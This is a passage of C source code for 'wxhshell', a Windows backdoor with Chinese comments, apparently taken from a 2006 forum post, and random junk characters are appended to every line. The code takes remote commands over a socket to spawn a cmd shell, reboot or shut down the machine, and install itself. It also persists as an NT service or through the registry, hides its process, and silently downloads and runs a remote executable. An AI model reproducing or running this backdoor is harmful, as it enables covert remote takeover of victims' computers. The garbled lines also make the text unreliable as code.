  // 帮助 q"6$#o{~U  
  case '?': { 8a&c=9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,k=8|=aF  
    break; <h;_:  
  } jm@,Ihz=wI  
  // 安装 QnP?j&  
  case 'i': { 4w#2m>.  
    if(Install()) \#WWJh"W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9D Nd} rXO  
    else D4C:%D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c~O Lr  
    break; ?qi~8.<w  
    } Aj=GekX{  
  // 卸载 9bM kP2w>  
  case 'r': { ;']u}Nh  
    if(Uninstall()) lM}-'8tt?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iF":c}$.  
    else _x1W\#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Tp"l"(G  
    break; [f! { -T  
    } D B65vM  
  // 显示 wxhshell 所在路径 B :S8{  
  case 'p': { de)4)EzUP  
    char svExeFile[MAX_PATH]; x;$ESPPg  
    strcpy(svExeFile,"\n\r"); e^3D`GA  
      strcat(svExeFile,ExeFile); \Vroz=IT:  
        send(wsh,svExeFile,strlen(svExeFile),0); "]kzt ux  
    break; `GW&*[.7  
    } [Eccj`\e g  
  // 重启 ep?D;g  
  case 'b': { U._fb=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /9&!u )+  
    if(Boot(REBOOT)) Du65>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2G$p x  
    else { dKCl#~LAI'  
    closesocket(wsh); fM7B<eB  
    ExitThread(0); t&Eiz H$  
    }  J]XLWAM  
    break; [5!}+8]W  
    } Hg<aU*o;  
  // 关机 "igA^^?X1N  
  case 'd': { i&^JG/a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \8!CKnfs  
    if(Boot(SHUTDOWN)) *$|f9jVh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6tqemz  
    else { *?d\Zcj85[  
    closesocket(wsh); O8b#'f~  
    ExitThread(0); 0C> _aj  
    } M>Tg$^lm  
    break; Gf3-%s xA  
    } hnB`+!  
  // 获取shell UkpTK8>&  
  case 's': { > ^zNKgSQ  
    CmdShell(wsh); v]EZYEXFL)  
    closesocket(wsh); B>>_t2IU  
    ExitThread(0); d/j?.\  
    break; 8y<.yfgG  
  } *EvW: <  
  // 退出 ;`LG WT-<F  
  case 'x': { NQ;X|$!zH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6xtgnl#T  
    CloseIt(wsh); JxwKTFU'3O  
    break; Y:O|6%00Y  
    } aaCRZKr  
  // 离开 6q8}8;STTY  
  case 'q': { i 0/QfB%O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EjFpQ|-L|  
    closesocket(wsh); L~{(9J'(  
    WSACleanup(); MXfyj5K  
    exit(1); ><D2of|  
    break; YR0AI l:L  
        } oF>`>  
  } l$\B>u,>  
  } \P+^BG!  
WwTl|wgvyI  
  // 提示信息 =|aZNHqH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {g1"{  
} _,60pr3D'  
  } 8)?&eE'  
'A.5T%n-  
  return; Vf~-v$YI  
} =cS5f#0  
c8[kL$b;j  
// shell模块句柄 +@!\3a4!  
int CmdShell(SOCKET sock) A32Sdr'D  
{ { "Cu)AFy  
STARTUPINFO si; ~K#92  
ZeroMemory(&si,sizeof(si)); s<#BxN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  <a $!S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  0LL65[  
PROCESS_INFORMATION ProcessInfo; *,CJ 3< >  
char cmdline[]="cmd"; Z T*}KJm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }JST(d&  
  return 0; Q njK<}M9  
} F*#!hWtb  
WO9vOS>  
// 自身启动模式 i0wBZ i?  
int StartFromService(void) 7Ko*`-p  
{ nTo?~=b  
typedef struct 8g)$%Fy+N  
{ d9S?dx  
  DWORD ExitStatus; M0lJyz J  
  DWORD PebBaseAddress; F%$q]J[  
  DWORD AffinityMask; +,YK}?e  
  DWORD BasePriority; BNE:,I*&  
  ULONG UniqueProcessId; (n.IK/:  
  ULONG InheritedFromUniqueProcessId; ,N,@9p  
}   PROCESS_BASIC_INFORMATION; Ih.)iTs~%  
D :j5/ *  
PROCNTQSIP NtQueryInformationProcess; qzORv  
!9HWx_,|Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l lcq~*zz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _u6N aB  
bXOM=T  
  HANDLE             hProcess; -a>CF^tH  
  PROCESS_BASIC_INFORMATION pbi; 8r"-3<*  
g|| q 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cE`qfz  
  if(NULL == hInst ) return 0; %7`eT^  
{na>)qzKP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XX90 Is  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E A55!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2^`k6V!  
QR(;a:  
  if (!NtQueryInformationProcess) return 0; DAf@-~c  
@>$qb|j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q6URaw#Yt`  
  if(!hProcess) return 0; ?MSwr_eZH  
'lpCwH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A =Z$H2  
o-&0_Zq_  
  CloseHandle(hProcess); CF-tod  
YW~ 9N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VuTTWBx  
if(hProcess==NULL) return 0; Tr}XG  
F?FfRzZ[  
HMODULE hMod; tK uJ &I~  
char procName[255]; l+&DBw[  
unsigned long cbNeeded; N}#"o  
|Bi7:w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e, 2/3jO  
9dAtQwGR"6  
  CloseHandle(hProcess); fyT|xI`iD  
-@]b7J?`k  
if(strstr(procName,"services")) return 1; // 以服务启动 6XCFL-o-  
qgfP6W$  
  return 0; // 注册表启动 j$ lf>.[I  
} 0:I<TJ~P  
P'}B5 I~  
// 主模块 8b-mW>xsA  
int StartWxhshell(LPSTR lpCmdLine) $'eY-U8q  
{ \JR^uJ{Y  
  SOCKET wsl; ;-"q;&1e  
BOOL val=TRUE; .I#_~C'\  
  int port=0; ] `q]n  
  struct sockaddr_in door; OR $i,N|  
 R:Ih#2R  
  if(wscfg.ws_autoins) Install(); $~1mKx]]  
LxWd_B  
port=atoi(lpCmdLine); I7=A!C"  
<z#Fj`2{  
if(port<=0) port=wscfg.ws_port; H=~7g3  
PrfG  
  WSADATA data; yVXVHCB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a(?)r[=  
PXtF#,roP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]i0=3H2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0T(+z)Ki  
  door.sin_family = AF_INET; lEHXh2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .<fdX()e,  
  door.sin_port = htons(port); kkb+qo  
3pW4Ul@e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E11C@%  
closesocket(wsl); p"jze3mF  
return 1; ]63! Wc  
} $YY{|8@kjv  
Ck %if  
  if(listen(wsl,2) == INVALID_SOCKET) { + %K~  
closesocket(wsl); A:Gd F-;[  
return 1; QZ;DZMP  
} _Ds,91<muQ  
  Wxhshell(wsl); Kj3Gm>B<y  
  WSACleanup(); 6H  U*,  
Lr8|S  
return 0; OUGkam0UK  
`\;Z&jlpT  
} C%]qK(9vvd  
f`/('}t  
// 以NT服务方式启动 $)9|"q6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ly6zz|c5  
{ #wRhR>6  
DWORD   status = 0; x@bqPZ t  
  DWORD   specificError = 0xfffffff; A9K$:mL<2  
1>L'F8"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6\K\d_x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <?!'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4`:POu&  
  serviceStatus.dwWin32ExitCode     = 0; VzHrKI  
  serviceStatus.dwServiceSpecificExitCode = 0; 0}`-vOLd-  
  serviceStatus.dwCheckPoint       = 0; w4TQ4 Y  
  serviceStatus.dwWaitHint       = 0; SvvNk  
MOCcp s*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); es#6/  
  if (hServiceStatusHandle==0) return; SN L-6]j  
J!5b~8`v  
status = GetLastError(); `Z5dRLrd  
  if (status!=NO_ERROR) R0tT4V+  
{ h| wdx(4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N_iy4W(NU  
    serviceStatus.dwCheckPoint       = 0; 2YW;=n  
    serviceStatus.dwWaitHint       = 0; Vym0|cW  
    serviceStatus.dwWin32ExitCode     = status; -PSgBH[  
    serviceStatus.dwServiceSpecificExitCode = specificError; `<>QKpAn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |D/a}Av>B  
    return; Tjrb.+cua  
  } Q/0gd? U?  
@Bhcb.kbq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U 887@-!3  
  serviceStatus.dwCheckPoint       = 0; 3Z*o5@RI  
  serviceStatus.dwWaitHint       = 0; t;h`nH[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {en'8kS  
} ][?J8F  
>&S}u\/  
// 处理NT服务事件,比如:启动、停止 zN[& iKf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 81s }4  
{ !\BZ_guz  
switch(fdwControl) kV?fie<\)  
{ zEW+1-=)+7  
case SERVICE_CONTROL_STOP: g:JSy  
  serviceStatus.dwWin32ExitCode = 0; R3|4|JlGR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `{Q'iydU  
  serviceStatus.dwCheckPoint   = 0; QNU~G3  
  serviceStatus.dwWaitHint     = 0; msfE;  
  { H#;*kc a4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h L [eA  
  } D0p*Sg  
  return; -NN=(p!<  
case SERVICE_CONTROL_PAUSE: AK&>3D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \b(&-=(  
  break; jUA~}DVD  
case SERVICE_CONTROL_CONTINUE: xLoQ0rt 6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TMPk)N1Ka  
  break; =cjO]  
case SERVICE_CONTROL_INTERROGATE: XxmWj-=qO  
  break; {P~rf&Ee  
}; C){Q;`M-<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZT8gKbjJ)  
} \N0vA~N.  
z6E =%-`  
// 标准应用程序主函数 Bgc]t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7<WS@-2I#  
{ bGeIb-|(  
>bZ-mX)j\0  
// 获取操作系统版本 MBA?, |9Q#  
OsIsNt=GetOsVer(); ZJBb% d1;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iVZ}+Ct<"  
zs#-E_^%M  
  // 从命令行安装 VM\R-[  
  if(strpbrk(lpCmdLine,"iI")) Install(); +8//mrL_/  
^{MqJ\S7H  
  // 下载执行文件 @s-P!uCaT  
if(wscfg.ws_downexe) { diJpbR^JP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }bS1M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^ l]!'"  
} hp'oiR;~w  
&]n }fq  
if(!OsIsNt) { ch0^g8@Q[  
// 如果时win9x,隐藏进程并且设置为注册表启动 $"/l*H\h  
HideProc(); T"Y#u  
StartWxhshell(lpCmdLine); I &iyj 99n  
} x7zc3%T's  
else MZh.Xo  
  if(StartFromService()) u$%C`v>  
  // 以服务方式启动 La1:WYt  
  StartServiceCtrlDispatcher(DispatchTable); }=bzUA`C  
else ESV./~K  
  // 普通方式启动 G^)]FwTs  
  StartWxhshell(lpCmdLine); *J[ P#y  
2Cp4aTGv#  
return 0; L1RD`qXu.  
}
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只看该作者 1 发表于: 2006-10-10
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